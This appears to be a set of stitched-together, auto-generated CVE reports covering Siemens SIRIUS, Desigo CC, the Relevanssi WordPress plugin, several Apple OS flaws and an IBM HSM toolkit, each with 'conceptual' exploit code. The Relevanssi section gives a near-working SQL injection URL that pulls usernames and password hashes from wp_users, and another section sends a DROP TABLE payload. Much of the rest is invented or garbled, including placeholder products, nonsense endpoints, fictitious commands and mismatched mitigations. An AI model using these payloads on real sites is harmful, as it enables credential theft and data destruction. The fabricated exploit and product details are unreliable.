Author: Ameeba

Overview

This report provides a detailed analysis of a serious vulnerability identified in SIRIUS 3RK3 Modular Safety System (MSS) and SIRIUS Safety Relays 3SK2 across all versions. The vulnerability stems from a weak password obfuscation mechanism, making it possible for attackers with network access to retrieve and de-obfuscate the safety password. Given the potential for system compromise or data leakage, addressing this vulnerability is critical.

Vulnerability Summary

CVE ID: CVE-2025-24007
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

SIRIUS 3RK3 Modular Safety System (MSS) | All versions
SIRIUS Safety Relays 3SK2 | All versions

How the Exploit Works

The exploit leverages the weak password obfuscation mechanism present in the SIRIUS safety systems. An attacker with network access can retrieve the obfuscated safety password. Given the weakness in the obfuscation, they can then de-obfuscate this password. With the safety password in hand, the attacker can then bypass protection mechanisms against inadvertent operating errors, potentially causing system compromise or data leakage.

Conceptual Example Code

Below is a conceptual representation of how an attacker might exploit this vulnerability:

GET /retrieve/password HTTP/1.1
Host: target.sirius.com
Accept: application/json

In the above pseudocode, the attacker sends a simple HTTP GET request to a hypothetical endpoint that retrieves the obfuscated safety password.

Overview

The CVE-2024-23815 vulnerability is a critical SQL injection flaw that affects Desigo CC server applications. The vulnerability has potential implications for any organization using Desigo CC, as it allows unauthenticated remote attackers to execute arbitrary SQL queries on the server database. This issue is particularly significant because of its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-23815
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Desigo CC | All versions (access from Installed Clients to Desigo CC server allowed from networks outside of highly protected zone)
Desigo CC | All versions (access from Installed Clients to Desigo CC server only allowed within highly protected zones)

How the Exploit Works

The vulnerability stems from the Desigo CC server application’s failure to authenticate specific client requests. An attacker can exploit this by modifying the client binary, which then allows the execution of arbitrary SQL queries on the server database via the event port. This could potentially enable an attacker to manipulate the database, extract sensitive data, or even gain unauthorized access to the system.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability using a malicious SQL query in a client request:

POST /eventport/4998/tcp HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "client_request": "DROP TABLE users;" }

This malicious request attempts to delete a users table from the server database, effectively highlighting the destructive potential of this vulnerability.

Overview

The CVE-2025-4396 vulnerability impacts the Relevanssi – A Better Search plugin for WordPress, exposing users to a potential SQL injection attack. This vulnerability is due to inadequate escaping of user-supplied parameters and insufficient preparation of SQL queries. As a result, unauthenticated attackers may exploit this flaw to append additional SQL queries, thereby extracting sensitive information from the database. It is critical to address this vulnerability to prevent potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-4396
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to unauthorized extraction of sensitive information from database

Affected Products

Product | Affected Versions

Relevanssi – A Better Search plugin for WordPress | Up to and including 4.24.4 (Free) and <= 2.27.4 (Premium) How the Exploit Works

This vulnerability stems from the inadequate escaping of user-supplied parameters in the ‘cats’ and ‘tags’ query parameters within the Relevanssi plugin. Lack of sufficient preparation on the existing SQL query allows unauthenticated attackers to append additional SQL queries to already existing ones. By exploiting this vulnerability, the attacker can manipulate the SQL statement and retrieve sensitive information from the database.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a maliciously crafted HTTP request.

GET /?s=test&cats=1%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20concat(user_login,%27|%27,user_pass)%20FROM%20wp_users%20--%20&tags=1 HTTP/1.1
Host: vulnerable-wordpress-site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

In this example, the attacker uses an SQL UNION operator to append a query that retrieves user credentials from the ‘wp_users’ table. The ‘–‘ comments out the rest of the original SQL statement, making the appended query execute independently.

Overview

This report provides an analysis of the CVE-2025-31247 vulnerability. This vulnerability, found in various versions of macOS, leverages a logic issue to gain unauthorized access to protected parts of the file system. This could potentially lead to system compromise or data leakage, posing a significant security risk to users and organizations utilizing affected macOS versions.

Vulnerability Summary

CVE ID: CVE-2025-31247
Severity: High (7.5 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Unauthorized access to protected file system leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

macOS Ventura | 13.7.6 and earlier
macOS Sequoia | 15.5 and earlier
macOS Sonoma | 14.7.6 and earlier

How the Exploit Works

The exploit works by taking advantage of a logic flaw in the state management of the macOS versions mentioned. The flaw, when manipulated, allows an attacker to bypass the inherent access controls and permissions, gaining unauthorized access to protected areas of the file system.

Conceptual Example Code

While the exact method of exploitation will depend on the specific configurations and usage scenarios of the targeted system, a conceptual example might involve a malicious local application or script that interacts with the file system in a way that triggers the logic flaw.

#!/bin/bash
# Conceptual shell script to exploit CVE-2025-31247
echo "Exploiting logic flaw..."
touch /protected/area/data.txt
echo "Malicious data" > /protected/area/data.txt
echo "Data written to protected area."

In the above example, a bash script is used to create and modify a file in a protected area of the file system. This should not be possible under normal conditions, but due to the logic flaw, the system allows it.
Users are strongly advised to patch their systems as soon as possible, or to use WAF/IDS as a temporary mitigation measure against this vulnerability.

Overview

The vulnerability, CVE-2025-31240, poses a severe threat to macOS users, particularly those using Ventura 13.7.6, Sequoia 15.5, or Sonoma 14.7.6. By mounting a maliciously crafted AFP network share, attackers can potentially cause system termination, leading to possible system compromise or data leakage. Given the widespread use of these macOS versions, the impact of this vulnerability can be significant.

Vulnerability Summary

CVE ID: CVE-2025-31240
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System termination leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

macOS Ventura | 13.7.6
macOS Sequoia | 15.5
macOS Sonoma | 14.7.6

How the Exploit Works

The exploit operates by tricking a user into mounting a maliciously crafted AFP network share. This share contains code that the macOS system misinterprets, leading to system termination. This termination could potentially leave the system in a compromised state or allow for data leakage.

Conceptual Example Code

The following pseudocode represents a conceptual example of how the exploit may be carried out. Please note that this pseudocode is intended for illustrative purposes only:

# Create malicious AFP network share
create_afp_share --name malicious_share --content '/path/to/malicious_code'
# Trick user into mounting the network share
send_email --to target --subject 'Important Network Share' --body 'Please mount the following network share: afp://malicious_share'

In this example, the attacker creates a malicious AFP network share containing their code. They then trick the user into mounting the share, causing the system to execute the code and potentially result in system termination.

Overview

CVE-2025-31237 is a significant vulnerability that affects macOS users. The flaw lies in the handling of AFP network shares, which, when maliciously crafted, can lead to an unexpected system termination. This vulnerability could potentially result in system compromise or data leakage, making it a critical issue for any organization or individual using the affected versions of macOS.

Vulnerability Summary

CVE ID: CVE-2025-31237
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System termination, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

macOS Ventura | 13.7.5 and below
macOS Sequoia | 15.4 and below
macOS Sonoma | 14.7.5 and below

How the Exploit Works

The vulnerability lies in the mounting process of AFP network shares. When a maliciously crafted AFP network share is mounted, it can cause the system to terminate unexpectedly. This could potentially be used as a foothold for further attacks, leading to system compromise or data leakage.

Conceptual Example Code

While the exact code to exploit this vulnerability is not disclosed to prevent misuse, a conceptual example might involve a malicious actor creating a specially crafted AFP share, which when accessed, causes the system to crash. The access might be achieved through a command like:

mount_afp afp://[malicious_IP]/[malicious_share] /Volumes/[mount_point]

The `[malicious_share]` would be configured in such a way that it exploits the vulnerability when mounted.

Mitigation Guidance

Users of affected macOS versions are advised to update to macOS Ventura 13.7.6, macOS Sequoia 15.5, or macOS Sonoma 14.7.6 where the issue has been resolved. Until the update can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The Common Vulnerability Exposure (CVE) identifier CVE-2025-31221 refers to a critical vulnerability that exists in a range of operating systems, including macOS, watchOS, tvOS, iPadOS, and visionOS. This vulnerability pertains to an integer overflow that could potentially be exploited by remote attackers to leak memory and compromise the affected system, marking it a significant cybersecurity threat.

Vulnerability Summary

CVE ID: CVE-2025-31221
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

watchOS | 11.5
macOS Sonoma | 14.7.6
tvOS | 18.5
iPadOS | 17.7.7, 18.5
iOS | 18.5
macOS Sequoia | 15.5
visionOS | 2.5
macOS Ventura | 13.7.6

How the Exploit Works

The vulnerability arises from an integer overflow issue, which is not properly validated in the affected operating systems. An integer overflow occurs when an arithmetic operation attempts to create a numeric value that is outside of the range that can be represented with a given number of bits. A remote attacker can exploit this vulnerability by sending specially crafted data to the affected device, causing the integer overflow and leading to a memory leak.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. This should not be taken as an actual exploit code, but rather a simplified representation of the concept:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "integer": 9223372036854775808 }

In this conceptual example, the “integer” value is set to a value greater than what can be stored in a 64-bit signed integer, causing an integer overflow. This could potentially lead to memory leak and system compromise.

Overview

CVE-2025-31208 is a critical vulnerability that affects several operating systems including watchOS, macOS, tvOS, iPadOS, iOS, and visionOS. The vulnerability allows for potential system compromise and data leakage, emphasizing its importance in the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2025-31208
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

watchOS | 11.5
macOS Sonoma | 14.7.6
tvOS | 18.5
iPadOS | 17.7.7, 18.5
iOS | 18.5
macOS Sequoia | 15.5
visionOS | 2.5
macOS Ventura | 13.7.6

How the Exploit Works

The vulnerability gets exploited when an attacker sends a specially crafted file to the user. When the user’s system parses this file, it leads to an unexpected app termination, which can compromise the system or lead to data leakage.

Conceptual Example Code

POST /upload_file HTTP/1.1
Host: vulnerable_system.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.txt"
Content-Type: text/plain
{ "malicious_payload": "..." }
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this conceptual example, an attacker sends a POST request to the vulnerable endpoint with a malicious file. When the system parses this file, it causes the app to terminate unexpectedly.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can help detect and prevent attempts to exploit this vulnerability.

Overview

CVE-2025-46740 is a significant security vulnerability that allows an authenticated user without administrative privileges to change the administrator Account Name. This vulnerability impacts any system or software that does not properly limit the account name changes to the appropriate user roles, potentially leading to system compromise or data leakage. The severity of this issue is underlined by its CVSS Severity Score of 7.5, indicating a high risk to affected systems.

Vulnerability Summary

CVE ID: CVE-2025-46740
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Unauthorised Administrative Account Name Change, which could lead to system compromise or data leakage.

Affected Products

Product | Affected Versions

Product 1 | Version 1, Version 2
Product 2 | Version 3, Version 4

How the Exploit Works

The vulnerability exists within the account management functionality of the affected software. An authenticated user without administrative permissions can exploit this issue by manipulating the request sent to the server to change the account name. If successful, the attacker could change the administrator account name, potentially disrupting the system’s operations or gaining unauthorized access.

Conceptual Example Code

Here is an illustrative example of how the vulnerability might be exploited using a HTTP POST request:

POST /changeAccountName HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer user_token_without_admin_permissions
{
"accountName": "admin",
"newAccountName": "new_admin"
}

In this example, a malicious user sends a POST request to the “/changeAccountName” endpoint, attempting to change the “admin” account name to “new_admin” without having proper administrative permissions. The attacker uses a valid user token for authentication, which does not have administrative permissions, thus exploiting the vulnerability.

Overview

The vulnerability identified as CVE-2025-3632 impacts IBM 4769 Developers Toolkit versions 7.0.0 through 7.5.52. This vulnerability could allow remote attackers to cause a denial of service (DoS) in the Hardware Security Module (HSM), a critical component in any organization’s security infrastructure, due to improper memory allocation of an excessive size. The potential ramifications of this vulnerability, including system compromise and data leakage, necessitate immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-3632
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise and data leakage

Affected Products

Product | Affected Versions

IBM 4769 Developers Toolkit | 7.0.0 to 7.5.52

How the Exploit Works

The vulnerability lies in the improper memory allocation mechanism of IBM 4769 Developers Toolkit. A remote attacker can exploit this vulnerability by sending specially crafted network packets that request excessive memory allocation on the HSM. If successful, this could cause a denial of service, leading to potential system compromise and data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /excessive/memory/allocation HTTP/1.1
Host: target.ibm.com
Content-Type: application/json
{ "memory_request": "100000000000000000000" }

In this conceptual example, the attacker sends a POST request to a vulnerable endpoint, requesting an excessive amount of memory, which could lead to a denial of service.

Mitigation and Recommendations

IBM has released a patch to address this vulnerability. It is recommended that all users of the affected IBM 4769 Developers Toolkit versions apply this patch immediately. For interim mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block potential exploitation attempts.